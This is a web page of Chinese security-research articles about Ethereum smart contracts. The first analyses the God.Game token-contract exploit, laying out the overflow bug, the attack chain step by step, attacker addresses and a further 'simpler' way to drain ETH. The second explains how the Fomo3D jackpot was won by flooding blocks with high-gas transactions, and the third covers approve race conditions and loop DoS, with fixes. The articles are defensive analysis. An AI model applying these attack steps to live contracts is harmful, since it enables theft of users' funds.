    智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。

    God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。

    ERC20 token

    token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。

    合约功能

    在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。

    • 购买token:会产生一定的手续费,除了主办方会收取一部分外,还有一部分将会均分给所有token持有者,也就是所谓的分红。
    • 转账token:你可以将手中的token转账给他人。
    • 出售token:将手中的token出售为可提款。
    • 提取红利:将分红转为以太币提取出来。
    • 邀请机制:当你拥有多于100个token,将开启邀请系统。他人使用你的地址,你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】

    token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。

    代码浅析

    我们将简要介绍合约中出现的几个重要变量。

    在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量

    用户信息

    • token【代币】是确定的数量,用户的token仅可通过自己buy、sell、transfer变动。
    • token * profitPerShare 可以看作是账户token的价值
    • payouts 我们称之为已经用过的钱。【这个定义并不严谨,可以叫控制账户红利的值】
    • token * profitPerShare - payoutsTo_ 可以看作用户在此合约内现在可以使用的钱, 定义为红利。

    合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。

    全局变量

    以下变量是全局中浮动的

    重要的临时变量

    dividends = 账户总价值 - 已用的钱【payout】

    dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。

    每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)

    这里也是本次攻击的溢出点。

    0x02 漏洞点

    漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。

    计算分红

    从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。

    转账transfer()

    我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。

    这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。

    我们会发现,transfer()函数并未对合约账户的payoutsTo进行操作。而是仅修改了contractPayout这个和God合约参数有关的全局变量。

    导致合约账户中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends为 0。

    这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。

    0x03 攻击链

    这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱

    1. 攻击者 ==转账==> 攻击合约
      合约状况:
    2. 攻击合约 withdraw()
      合约状况:
    3. 攻击合约 ==转账==> 攻击者
      合约状况:
    4. 攻击合约 reinvest()
      合约状况:

    再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。

    0x04 实际流程

    攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。

    攻击合约逆向

    知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。

    得到的函数列表

    而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如:

    对照攻击者交易明细,我们来复现攻击流程。我们假设token对应红利是1:1,便于解释。

    1. 部署攻击合约
      tx:1. 部署合约 攻击者部署合约,准备攻击。 合约地址:0x7F325efC3521088a225de98F82E6dd7D4d2D02f8
    2. 购买token
      tx:2. 购买token 攻击者购买一定量token,准备攻击。
    3. 向攻击合约转账token
      tx:3. transfer(attacker -> attack-contract) 攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    4. 攻击合约withdraw()
      tx:4. withdraw() 攻击合约调用了God的withdraw(),攻击合约因此获得了红利对应以太币【不重要】
    5. 攻击合约transfer()
      tx:5. transfer(attack-contract -> attacker) 将token转回,攻击合约token不变,红利溢出。
    6. 攻击合约reinvest()
      tx:6. reinvest() 再投资,将红利买token,可以大量购买token。
    7. 攻击合约sell()
      tx:7. sell() 卖出一部分token,因为发行的token过多,会导致token价值太低,提取以太币较少。
    8. 攻击合约transfer()
      tx:8. transfer(attack-contract -> 受益者) 把智能合约账户的token转给受益者(0xc30e)一部分。
    9. 受益者sell()+withdraw()
      受益者(0xc30e)卖掉token,并withdraw()红利,得到以太币。

    0x05 更简单的攻击手法

    回顾上述攻击流程,攻击成立主要依赖红利由 token - payout 得到,时常变化,而不是记录这个特性。

    在交易token时,变化的只是双方持有的token数,双方的红利应该不变,换言之,就是用户的payout也需要变化才能保证红利变化。

    漏洞就在于在用户和合约交易token时,合约方的payout并没有相应的增加,导致红利平白无故的多出来,最终导致了凭空生币。

    这样一来,我们就可以使用更简单的攻击手法。

    下面是详细的介绍:

    1. 攻击者 ==转账==> 攻击合约
      合约收到转账时,红利本应为0,却变得很多,账户可用资金变得很多。
    2. 攻击合约 withdraw()
      把可用的钱提款为eth,token不变。
    3. 攻击合约 ==转账==> 攻击者
      token原路返回攻击者,token不变,但合约中多出了 eth 。

    我们发现智能合约在这个过程中,因为接受转账未增加payout,导致在第二步中可以提取不少的以太币,并在第三步将token原路转回。 这一过程,合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约,并按以上步骤,可以提出God.Game中大量的以太币。

    注意事项

    此攻击方法理论成立,还需仔细考察手续费和token价值变化等细节问题,但从合约中提取部分以太币是可行的。

    具体分析

    1. 购买token
      攻击者购买一定量token,准备攻击。
    2. 向攻击合约转账token
      攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    3. 攻击合约调用 withdraw()
      withdraw() 的主要逻辑如下:
      攻击合约调用withdraw(),通过以太币的形式取出利息 dividents。
    4. 攻击合约transfer()
      将token转回,攻击者token恢复为1000。

    0x06 总结

    以上就是God.Game合约的分析,以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天,整个攻击流程非常巧妙。按照前面的分析,仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出,进而获得了大量的token。根据上面多方面因素,虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录,主办方在游戏开始之前就再未查看玩家群。这些现像,引人深思。

    区块链游戏看似充满诱惑,实则迷雾重重。无论如何谨慎,都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算,但人皆贪婪,有钱财的地方,必有隐患。

    0x07 相关链接


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    附录1 此次事件相关地址

    • God合约创建者 0x802dF0C73EB17E540b39F1aE73C13dcea5A1CAAa
    • God合约地址 0xCA6378fcdf24Ef34B4062Dda9F1862Ea59BaFD4d
    • 最终以太币存储的账户 0xC30E89DB73798E4CB3b204Be0a4C735c453E5C74
    • 攻击者 0x2368beb43da49c4323e47399033f5166b5023cda
    • 攻击合约 0x7f325efc3521088a225de98f82e6dd7d4d2d02f8

    附录2 God.Game合约的函数分析

    • buy() - 购买token

    • sell() - 出售token

    未使用的分红增加,可用来withdraw(提款)或reinvest(再投资)。

    • withdraw() - 将分红清0,分红换为eth取出

    清零分红,获得相应的eth。

    • reinvest() - 再投资

    消耗掉账户的分红,换成token。

    • transfer() - 转账

    from:

    to:

    附录3 根据昊天塔逆向结果,构造的攻击合约


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/683/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 智能合约游戏之殇——类 Fomo3D 攻击分析

    2018-08-29

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月23日

    2018年8月22日,以太坊上异常火爆的Fomo3D游戏第一轮正式结束,钱包开始为0xa169的用户最终拿走了这笔约10,469 eth的奖金,换算成人民币约2200万。

    看上去只是一个好运的人买到了那张最大奖的“彩票”,可事实却是,攻击者凭借着对智能合约原理的熟悉,进行了一场精致的“攻击”!

    这次攻击的结果,也直接影响了类Fomo3D的所有游戏,而且无法修复,无法避免,那么为什么会这样呢?

    类Fomo3D

    在分析整个事件之前,我们需要对类Fomo3D游戏的规则有一个基本的认识。

    Fomo3D游戏最最核心的规则就是最后一个购买的玩家获得最大的利益

    其中主要规则有这么几条:

    • 游戏开始有24小时倒计时
    • 每位玩家购买,时间就会延长30s
    • 越早购买的玩家,能获得更多的分红
    • 最后一个购买的玩家获得奖池中48%的eth

    其中还有一些细致的规则:

    • 每位玩家购买的是分红权,买的越多,分红权就会越多
    • 每次玩家购买花费的eth会充入奖金池,而之前买过的玩家会获得分红
    • 随着奖池的变化,key的价格会更高

    换而言之,就是越早买的玩家优势越大。

    最终,资金池里的 ETH 48%分配给获胜者, 2%分配给社区基金会,剩余的 50%按照四种团队模式进行分配。

    游戏规则清楚之后,就很容易明白这个游戏吸引人的地方在哪,只要参与的人数够多,有人存在侥幸心理,就会有源源不断的人投入到游戏中。游戏的核心就在于,庄家要保证游戏规则的权威性,而区块链的可信以及不可篡改性,正是完美的匹配了这种模式。

    简单来说,这是一个基于区块链可信原则而诞生的游戏,也同样是一场巨大的社会实验。

    可,问题是怎么发生的呢?让我们一起来回顾一下事件。

    事件回顾

    2018年8月22日,以太坊上异常火爆的Fomo3D游戏第一轮正式结束,钱包开始为0xa169的用户最终拿走了这笔约10,469 eth的奖金。

    看上去好像没什么问题,但事实真的是这样吗

    在Fomo3D的规则基础上,用户a169在购买到最后一次key之后,游戏的剩余时间延长到了3分钟,在接下来的3分钟内,没有任何交易诞生。这3分钟时间,总共有12个区块被打包。但没有任何一个Fomo3D交易被打包成功。

    除此之外,这部分区块数量也极少,而且伴随着数个合约交易失败的例子

    这里涉及到最多的就是合约0x18e1B664C6a2E88b93C1b71F61Cbf76a726B7801,该合约在开奖的那段时间连续的失败交易,花费了巨量的手续费。

    而且最重要的是,该合约就是上面最后拿到Fomo3D大奖的用户所创建的

    在这期间的每个区块中,都有这个合约发起的巨额eth手续费的请求。

    攻击用户通过这种方式,阻塞了其他游戏者购买的交易,最后成功拿到了大奖。

    那么为什么呢?

    事件原理

    在解释事件发生原理之前,我们需要先了解一下关于区块链底层的知识。

    以太坊约14s左右会被挖出一个区块,一个区块中会打包交易,只有被打包的交易才会在链上永不可篡改。

    所以为了奖励挖出区块的矿工,区块链上的每一笔交易都会消耗gas,这部分钱用于奖励矿工,而矿工会优先挑选gas消耗比较大的交易进行打包以便获得更大的利益,目前,一个区块的gas上限一般为8000000。

    而对于每一笔交易来说,交易发起者也可以定义gas limit,如果交易消耗的gas总值超过gas limit,该交易就会失败,而大部分交易,会在交易失败时回滚

    为了让交易不回滚,攻击者还使用了一个特殊的指令assert(),这是一个类似于require的函数,他和require唯一的区别就是,当条件不满足时,assret会耗光所有的gas。原理是因为在EVM底层的执行过程中,assret对应一个未定义过的操作符0xfe,EVM返回invalid opcode error,并报错结束。

    而攻击者这里所做的事情呢,就是在确定自己是最后一个key的持有者时,发起超大gasprice的交易,如图所示:

    当攻击者不断的发起高手续费的交易时,矿工会优先挑选这些高花费的交易打包,这段时间内,其他交易(包括所有以太坊链上发起的交易、Fomo3D的交易)都很难被矿工打包进入。这样一来,攻击者就有很高的概率成为最后一个持有key的赢家

    整个攻击流程如下:

    1. Fomo3D倒计时剩下3分钟左右
    2. 攻击者购买了最后一个key
    3. 攻击者通过提前准备的合约发起大量消耗巨量gas的垃圾交易
    4. 3分钟内不断判断自己是不是最后一个key持有者
    5. 无人购买,成功获得大奖

    在支付了大量以太币作为手续费之后,攻击者赢得了价值2200万人民币的最终大奖。

    总结

    自智能合约游戏中以类Fomo3D诞生之后,这类游戏就不断成为人们眼中的焦点,精巧的规则设计和社会原理再加上区块链特性,组成了这个看上去前景无限的游戏。Fomo3D自诞生以来就不断成为人们眼中的焦点,类Fomo3D游戏不断丛生。

    随之而来的是,有无数黑客也在盯着这块大蛋糕,除了Fomo3D被盗事件以外, Last Winner等类Fomo3D也被黑产盯上...短短时间内,攻击者从中获利无数。

    而我们仔细回顾事件发生的原因,我们却不难发现,类Fomo3D游戏核心所依赖的可信、不可篡改原则和区块链本身的特性矿工利益最优原则冲突,也就是说,只要矿工优先打包高手续费的交易,那么交易的顺序就是可控的!,那么规则本身就是不可信赖的。

    当你还在寻求棋局中的出路时,却发现棋盘已经不存在了。

    当Fomo3D游戏失去了自己的安全、公平之后,对于试图从中投机的你,还会相信自己会是最后的赢家吗?


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    REF

    [1] Fomo3D https://exitscam.me/play

    [2] 获利交易https://etherscan.io/tx/0xe08a519c03cb0aed0e04b33104112d65fa1d3a48cd3aeab65f047b2abce9d508

    [3] 攻击合约https://etherscan.io/address/0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801

    [4] Fomo3D 千万大奖获得者“特殊攻击技巧”最全揭露https://mp.weixin.qq.com/s/MCuGJepXr_f18xrXZsImBQ

    [5] 「首次深度揭秘」Fomo3D,被黑客拿走的2200万https://mp.weixin.qq.com/s/s_RCF_EDlptQpm3d7mzApA


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/681/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告

    2018-08-29

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月22日
    本系列上一篇:《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》

    一、 简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“条件竞争问题”、“循环DoS问题”等问题统一归类为“以太坊智能合约设计缺陷问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约设计缺陷”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    1、条件竞争

    2016年11月29号,Mikhail Vladimirov和Dmitry Khovratovich公开了一篇《ERC20 API: An Attack Vector on Approve/TransferFrom Methods》,在文章中提到了一个在ERC20标准中存在的隐患问题,条件竞争

    这里举一个approve函数中会出现的比较典型的例子,approve一般用于授权,比如授权别人可以取走自己的多少代币,整个流程是这样的:

    1. 用户A授权用户B 100代币的额度
    2. 用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
    3. 用户B在待交易处(打包前)看到了这笔交易
    4. 用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
    5. 用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币

    想要理解上面这个条件竞争的原理,首先我们得对以太坊的打包交易逻辑有基础认识。

    https://medium.com/blockchannel/life-cycle-of-an-ethereum-transaction-e5c66bae0f6e

    简单来说就是

    1. 只有当交易被打包进区块时,他才是不可更改的
    2. 区块会优先打包gasprice更高的交易

    所以当用户B在待打包处看到修改的交易时,可以通过构造更高gasprice的交易来竞争,将这笔交易打包到修改交易之前,就产生了问题。

    以下代码就存在条件竞争的问题

    2、循环DoS问题

    在以太坊代码中,循环是一种很常见的结构,但由于以太坊智能合约的特殊性,在循环也有很多需要特别注意的点, 存在潜在的合约问题与安全隐患。

    1) 循环消耗问题

    在以太坊中,每一笔交易都会消耗一定的gas,而交易的复杂度越高,则该交易的gasprice越高。而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。

    所以,对于合约内的循环次数不宜过大,在循环中的代码不宜过于复杂。

    如果上述代码地址列表过长,就有可能导致交易失败。

    2018年7月23日,Seebug Paper发表的《首个区块链 token 的自动化薅羊毛攻击分析》中攻击合约就提到了这种gas优化方式。

    2) 循环安全问题

    在以太坊中,应该尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击。

    当攻击者通过不断添加address列表长度,来迫使该函数执行循环次数过多,导致合约无法正常维护,函数无法执行。

    2016年,GovernMental合约代币被爆出恶意攻击,导致地址列表过长无法执行,超过1100 ETH被困在了合约中。

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约审计功能规则,我们对全网的公开的共39548 个合约代码进行了扫描,其中共24791个合约涉及到这类问题。

    1、 条件竞争

    截止2018年8月10日为止,我们发现了22981个存在approve条件竞争的合约代码,其中15325个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    2、 循环DoS问题

    截止2018年8月10日为止,我们发现了1810个存在潜在循环dos问题的合约代码,其中1740个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1)条件竞争

    关于这个问题的修复方式讨论很多,由于这属于底层特性的问题,所以很难在智能合约层面做解决,在代码层面,我们建议在approve函数中加入

    将这个条件加入,在每次修改权限时,将额度修改为0,再将额度改为对应值。

    在这种情况下,合约管理者可以通过日志或其他手段来判断是否有条件竞争发生,从风控的角度警醒合约管理者注意该问题的发生。范例代码如下:

    2)循环DoS问题

    在面临循环DoS问题产生的场景中,最为常见的就是向多个用户转账这个功能。

    这里推荐代码中尽量避免用户可以控制循环深度,如果无法避免的话,尽量使用类似withdrawFunds这种函数,循环中只分发用户提币的权限,让用户来提取属于自己的代币,通过这种操作可以大幅度节省花费的gas开支,也可以一定程度避免可能导致的问题。代码如下所示: